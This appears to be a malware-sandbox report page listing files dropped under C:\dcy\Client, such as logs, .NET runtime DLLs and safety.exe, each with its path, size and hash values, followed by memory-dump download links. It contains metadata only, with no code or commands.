SHA512 bb3278a6fdf739d1ba8dfe3dac91bfc4848b30c16bf1ddd74a7fef02c80fe1abfa74ee25f24c0856cabd3d7affd7030514ea0a5f4a4c00b83b1defca0bfc383f
TLSH
T19D81DC2061FB607599EB428A194EFE29B977D01890BB74FC7FB0D3D04BD9C198E0D946
MD5 SHA1 SHA512 TLSH

Submit Download

client-success.log

Path C:\dcy\Client\agent-cache\logs\client-success.log
Size 4KB
SHA256 ef865abb2cc7d42d440a0ba2765971cba29a6b632770d557d7fc3812d6e3135a
MD5 dcecb5b9f52c06786c0f07144c876cd5
SHA1 fc0ee05c8eb2632abee293f62158a0e0b279193a
SHA512 7b640dbe9eb663a4e55945e2f68495d27854912a83919c8252a6b74d5a0ca6ebd43c093a4e1d8266b1834dbcbec25d12d15dcb21eedcf3ec0434a936829e191c
SSDEEP 48:imaDH+7emYJ9nT67qesW4s8yleeVR5ClgjPeJJjwsjARHeoGYq+AO:rtY27mohjeJkRLWO
TLSH
T10391CA2061FB607599AB428A594EFE29B937D01890BB74FC7FB0D3D04BDAC198E0D946
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

service-crash.log

Path C:\dcy\Client\agent-cache\logs\service-crash.log
Size 9KB
SHA256 f551e2d6b642d85d2bda76d22078f6ea99bccab94d406db60c705da81c708fbd
MD5 fda3678a739e4e86484d1436508a8809
SHA1 b98d1129dd607dfce984b577332853410b6e2ffa
SHA512 f2a212f888d35429ac8d13aa7f2f7a81205ee6e7b3a84a0bf3122cd61f00414601a0c90be9dac67192010271c746bec2f53ce709cd3db3c5130cb5d66d758066
SSDEEP 192:g59ZaUv59ZaU+59ZaUq59ZaUr59ZasX59Za6:yaQa9aha4aAa6
TLSH
T1EB120160E25C63151AA671A2F8CE884FBDF8B0461132B47975F8D5C3AFD3D9886673A0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

service.log

Path C:\dcy\Client\agent-cache\logs\service.log
Size 688B
SHA256 b0d813ba7da36fe9261a9b4673e6e421c6f53f297ccbee119a6ad0a3f1da3ebf
MD5 442f65167835aa7f7e22fd54e0750dc5
SHA1 98a22bfe182e2f57d9a2945e6ff0594534056da0
SHA512 4fe2ea0c4f01971d4595c319fc18cf5def54cae2a33f7462163265f448b169f6f084c90657e1ada569a8b9f52050438aa6e399bd3762ec68d545cbd35f23c97c
TLSH
T10501842851FBA066A4EA438A055EBE65B933D11992BB30FC3BB0D3904F96C14DE1D586
MD5 SHA1 SHA512 TLSH

Submit Download

service.log

Path C:\dcy\Client\agent-cache\logs\service.log
Size 986B
SHA256 b2ff26ef12f57dd7b0837daecd7cb4b012e7c93b5e3bad4d712ca3bd714de585
MD5 f6b051382508f12ae628ec64434339c4
SHA1 759d4acb4696ea65a737611f56e9c2982b5371fa
SHA512 de7d75ab9626b92103dc810258a85c6e9af20f3864106e4d36dd806dbcdeb4f326a24b49ab3dc41d8b376c6c0c86c2068ceba8c8868d0aef17caa854a617b508
TLSH
T1C411D62851FBA06669DA4389065EBD25B933E019927F30FC3BF0D3904B9AC14DA2D586
MD5 SHA1 SHA512 TLSH

Submit Download

service.log

Path C:\dcy\Client\agent-cache\logs\service.log
Size 2KB
SHA256 c88d8751d7d83ae7dc244570c4e09ce4e8248cbd26e7ac4cc6a216e85258a35f
MD5 058e8a2532deabdac6b657af2a580b23
SHA1 465e9ec920226df6311e39f1acc859128adb7b62
SHA512 2b05682a441c845c867b4cc3cde38d6f736baf03fb9260418833cb2bc35771ec54d7a4bc28b7d6807b6f3ec16b1b197f02ac4ab6b3672987949b0d1c95ba7b3d
TLSH
T13041903862BFA01528D7035A665EBC176976E009837B70FC7BF0D3810F86C148A2D6C3
MD5 SHA1 SHA512 TLSH

Submit Download

service.log

Path C:\dcy\Client\agent-cache\logs\service.log
Size 3KB
SHA256 2fb03eb18fb9c84db17fc4062a8078b73c0c11a01e8a1bac699e98d27079eec5
MD5 476d9b593fbc55ec25315dae35e0ccc2
SHA1 9cc4fb2ed0c39dbef8025f9e4507ccf215860fa4
SHA512 5c35d1769e5b82f510924106de634f133d88dc37580dde198e1f50da3fcb7aa20ec19c1dcf4a648b2792e9013b7586d422fb9d285426e41e4f9bb27f42777cfc
TLSH
T19081CF3462BEA01228DA0296755EBC1B7DB6E049537B70FC7BF0D7810FC7C148A6E692
MD5 SHA1 SHA512 TLSH

Submit Download

service.log

Path C:\dcy\Client\agent-cache\logs\service.log
Size 4KB
SHA256 981ef54ce0e36ea25640796da72d20e807e9d41a76037eef4eb92df12e12f7de
MD5 75dc9be2b862a7123423467ef924f7c6
SHA1 db4822725a931359498feb0db655ab0fc1a80255
SHA512 98af986d2e65d3b57c6fcbc1a1134bb4f1658570f38afb3af30d1e40c32dbd508ecad434d0057ba7af6b4e4988cdc343bcb7da18636a41931351825552ff17a5
SSDEEP 48:imaDHjIH0emqxJsSJ4Qtwt+QYwtdW1ZAWod/0cRV7RKjKJ4Qtwt+QYwtdW1ZAWoE:eIHSqxo59n7R+591ArFZOnOXIA7
TLSH
T18C91BF3462BE901629DA0396659EBC1A7DB6E049433B70FC7BF0D7810FC7C148A6E6D2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

clrjit.dll

Path C:\dcy\Client\clrjit.dll
Size 1.7MB
SHA256 bd5936786cedc4119fa0508e41f5104ed351deae5c04c59e612f9c3a7b9aa65b
MD5 ec34ebfe140de879642b87e916343274
SHA1 c3e9602a9b31e507d7edfab1a20b383850811577
SHA512 92f0a3128a9386a9d2be2732a1342e6d1900bde1f03f62a99229256b1957a77226b7071a5ce62ecbd665525b1a318194e084ec85c34bf4798a2cf24d4f682412
SSDEEP 49152:InwlMPM7xNGajT3kXgy1JYBJlXhw5zcQCTH/AtU2gn9wcr8VHM1ndp:IU7ue3kYBjG5XOItUDn9wcrcAj
TLSH
T14A859E43A2F805FCD0AF9534C6574A1BEBB2B45913209FCF42F44A96AF237E2562E315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

coreclr.dll

Path C:\dcy\Client\coreclr.dll
Size 4.8MB
SHA256 b600c8fdfe3210c55113dc9dc2a6f9e5630cb0b14f4efd8cc56e9d38df075e54
MD5 31fb22d665ceea55d1f064cdb6600549
SHA1 2f761f4bdfbb46068bf378a9b8dc7eade6723f02
SHA512 c94e0ab1eb9c7b48bf1436dd56667ccab99f2808695253294dc6292c03f43c23fa0737a75ced0e29973215256eb71d119a8d915bad4f75c75f4cef5e2212aa9c
SSDEEP 49152:g1/lfvVGhpbaoKUaJR2mqhzpiu9AhYLdSQbNAwJh679nRTCPtIlxlkWDhuWZ7gRp:wVGhpbaoKA7N8vSlGd1ed4+ebYD
TLSH
T1B0368D5AF2BD0098D4BAC0B8CAD30527FBB178591738DBEB06648A651F23BD16B3D351
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hostfxr.dll

Path C:\dcy\Client\hostfxr.dll
Size 357KB
SHA256 0a495d3a7befebf627a973760439da0f7f1f1667b99832f083664fac7641d2dc
MD5 2756893fc2cfe0036b926d1ff5f6c2fc
SHA1 cb4b8b21828ba738e6bfa619f99335756842148f
SHA512 094d8b233facb5983f72b8c624f1f59aeb62063f695d55a79ba343b929015e73fb4b7f5eb16fe39881f8462822f7d7502ac2d62c4fa01c9686035de28d459617
SSDEEP 6144:+E7Djww5R1Gv0crFfeUtJ9NZFSKJGDjq/2n1NonJLSHD6DPDh+vJpmE08QxsTZ6H:5MjrFPJ+OyUriJ4E8KtXZPK
TLSH
T1C6741916D6E8017CF0B7D679CAB28901EB727C494BB196CF139099661E73BD09E39323
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hostpolicy.dll

Path C:\dcy\Client\hostpolicy.dll
Size 397KB
SHA256 aec1393a96946d92ff061ce31a455559b773122218cd62af1df9a8328d60f70b
MD5 4612ceed8b6f626be0945fdd615d50e3
SHA1 adc371124acea8987ddf5a93ccaa11ab269c8987
SHA512 5d7f587aa61ea48e60077a6a5a77a43b365e50abb9beb17777ad580659e4b49381260dbebcbaad1d28e64c1d7a814f9d772f211a014d99603ef70e195d342a5d
SSDEEP 6144:Hvf1pnG2fGDIp/SnOWE5+1TlBVe8Hz7jTl3TtCOa9/Cm8QtxCt2QDZUbN94yKjc6:Hm2Q9rfe819SnKYLpURbSpxoy4rgE
TLSH
T15A842916D6EC0078F0B7E6798AB38941EB72784E47B196DF139089661F73BD09E39312
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

is-HCANR.tmp

Path C:\dcy\Client\is-HCANR.tmp
Size 1.3MB
SHA256 db997cc194bb7b4c562d7b3e2ee94486e90667d1a56a69121608476830fe42c9
MD5 cee5687a8fc65460e05e84ef14d51d2e
SHA1 b5f203898c3b618d93e356a2d7f5f4aa0d0566ce
SHA512 ded7df3ae5a402b37d950b26b1ae9761c09bd4d24b6c9e833d7ceb36e8bf7db9742960fb83f976e40a192b5760103f3ed6d3b99c71f01b165bcc9681d12fd3f8
SSDEEP 12288:TK5qgLOsP0Ybjmk48Ol8Df4eYafGponKgdv3Bk3o0VHWHhFInlpimyquqC+pEAfF:TuJO/YKk0+4epegj3ibZL3rC7bwf
TLSH
T10D55495BD6BC4498CDA9D0F8C547491FE7B23814036466FF46A48B192F3BBE67AB8310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

safety.deps.json

Path C:\dcy\Client\safety.deps.json
Size 121KB
SHA256 cc0d2944d28e419e3df88748fa1de7272556f62ee4af3885810c4fae8588c1bf
MD5 e8239249269170da269a0296ae440f32
SHA1 0685e1ed1e143d9fa94fb92e2b4da7a9148df9fd
SHA512 bdb28a14d7e5290c7628db3c1ecf003c8af54685189d970ea76c6ce3ac8d082800d31fa27e5a11cbf72a8713fe9b1ab4666d6e7d378d108cecf661f920a6a3e6
SSDEEP 3072:10Ijml0F/angEVkywKLFl0wvDg8dNJra4Sl9zk5HqLpE4tJJri7StLIdpYyFz5RQ:10Ijml0F/angEVkywKLFl0wvDg8dNJra
TLSH
T110C34335D9505EE70536BB9EA8794682F235036F6040584F78FC302D8F77EBA91A2B39
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

safety.dll

Path C:\dcy\Client\safety.dll
Size 254KB
SHA256 70b8e66685e2ae1b8c38d402f8c611853a40999175c45f1bd960c958bd3b8b8e
MD5 ead80dcd5e821e0b6d7a0933924e2599
SHA1 b597d3c1c4ba7b98960e8c566ed48812d0039d8b
SHA512 7d2bb4a06339cb359973d153a6f3d528068caf0cdfa9e0edb74096fb4c0ff98ad4cc05ff4f0dc8f58cd6eb4b238e09097c2e0fe4be71123ce2ddaafecb15ec69
SSDEEP 3072:d/2QEMfZxquSbN64gJa8Xny83XqGChnly2TjGkdW9A2loDWnkV4P9TAmL18dIffS:d/nEMfKR8J1nyOaGCllcOGA2loDiZNf
TLSH
T18944394477F88A52F2BF6B75E8B141548B7AF907E86EE78D1D8CA4ED1DA23408C11723
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

safety.exe

Path C:\dcy\Client\safety.exe
Size 158KB
SHA256 d4849a0c0bea4642c43c9070d92ef2124d44ce6dc06425bc67d2693696a61683
MD5 9989117f2bd3f2ecb21caee543921079
SHA1 73a8f5e2cce00ef32982ff7947d35806a52e82b6
SHA512 31df9e080040b176c9a592afcb2382a215fc5839432dc9089db29eb33e382bf63113ed32d85834907408f46679475e13ea5880bffd5ba2fa4779ba5484ab2387
SSDEEP 3072:SqeXA/4yIg9vkNPNu6H6xCYOihUE265cJoODjfSI:SvgvkNFNaxmpE8JXj/
TLSH
T15EF34B07E6A851BEE1B7D679C9914C41FB7278598B71A6CF03504AB60F63BD0AF39302
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

safety.runtimeconfig.json

Path C:\dcy\Client\safety.runtimeconfig.json
Size 561B
SHA256 3b643a842a2056e07b77c200f1faaf2f7227c9492cbee6c7568a44bbfc8a60a4
MD5 149708d9f5a06208f2637b249156cafd
SHA1 d2eceaa1080819f151ed633ee4aef63b81ac40a6
SHA512 f2901930530d4e2e0926eb0a636d47f13782e9c8e15a34b6c41f7ecaea9f80069aa3279afe1ce89757905641d54c966bafe71045e63f4e62738c48a0e268dbcb
TLSH
T16FF0E27ADA106D7714B9777DE52AC2C2FB30136B10001D5278FD041C6F779B64112F5A
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5212-1251-0x000000001BAA0000-0x000000001BAB0000-memory.dmp

Download

memory/5212-58-0x000000001BAA0000-0x000000001BAB0000-memory.dmp

Download

memory/5212-57-0x0000000000C40000-0x0000000000CE6000-memory.dmp

Download

memory/5852-2586-0x0000000000400000-0x00000000006F7000-memory.dmp

Download

memory/5852-2503-0x0000000000400000-0x00000000006F7000-memory.dmp

Download

memory/5852-2096-0x0000000000400000-0x00000000006F7000-memory.dmp

Download

memory/5852-2697-0x0000000000400000-0x00000000006F7000-memory.dmp

Download

memory/6052-2077-0x0000000000400000-0x00000000004C4000-memory.dmp

Download

memory/6052-2698-0x0000000000400000-0x00000000004C4000-memory.dmp

Download

memory/6052-67-0x0000000000400000-0x00000000004C4000-memory.dmp

Download